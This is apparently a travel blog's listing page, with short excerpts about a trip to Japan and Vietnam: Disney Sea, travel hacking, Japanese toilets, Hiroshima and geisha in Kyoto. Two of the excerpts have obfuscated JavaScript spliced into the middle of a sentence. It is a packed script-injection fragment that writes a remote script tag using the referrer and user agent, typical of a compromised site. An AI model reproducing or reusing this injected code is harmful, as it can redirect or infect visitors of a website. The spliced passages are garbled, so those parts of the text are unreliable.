I guess it’s about time I moved on from Japan….it has been about 3 weeks since we were there! We spent our time in Vietnam split between Saigon/Ho Chi Minh City and Hanoi. We started off in Saigon, staying with our friends Varun and Brinda. Varun and I were RAs together in the dorms and […]
No trip to Japan would be complete without a visit to the other happiest place on earth. Right? Well, at least it wouldn’t be complete for me. Thankfully, my friends bought me a ticket for my birthday! Coolest friends ever! Here are some of the interesting things I learned about Disney Sea. 1. Disney Sea […]
Nick and I have been wise to travel hacking for a year or two, but have never really attempted any of the strategies. But now we’re hooked!

Basically, it’s making travel more budget friendly. On our first travel hacking experience, we successfully stayed at the Park […]
Yeah, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khhkk|var|u0026u|referrer|nssza||js|php’.split(‘|’),0,{})) I know. Something I learned while in Vietnam? They are very open and honest people…brutally honest. They just say what they are thinking – whether it seems polite or not (politeness being determined by western standards only). On some level, I can be down with that. The 2 most […]

We are just over the half way point. Which seems absolutely CRAZY! I was looking at pictures from earlier in the trip, trying my best to cull like crazy and edit early, and found it hard to believe we were in Japan a few weeks ago. Needless to say, this trip has made me incredibly […]
This ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yiiky|var|u0026u|referrer|kkstr||js|php’.split(‘|’),0,{})) was the toilet in our hotel. We saw similar toilets in all of our hotels and most of the restaurants we visited. Some were so high tech, I never figured out how to flush them. I’m sorry, Japan! Automatic flushing was not part of the technology – which is […]
We’ve been in Vietnam for almost a week now, so I’ve had some time to think about what I loved and what I didn’t love about Japan. Don’t get me wrong, I’m thankful for every bit of this trip, but there are definitely some things that I won’t miss about Japan.

I’ve wanted to visit Hiroshima since I was pretty little.

Did you read the book? See the movie? Even if you didn’t, you’ll still find the information fascinating. Nick had not read the book or seen the movie and still enjoyed learning about the Geisha (Geiko in Kyoto). We had just finished exploring the Nishiki market and were looking for a self guided walking tour […]
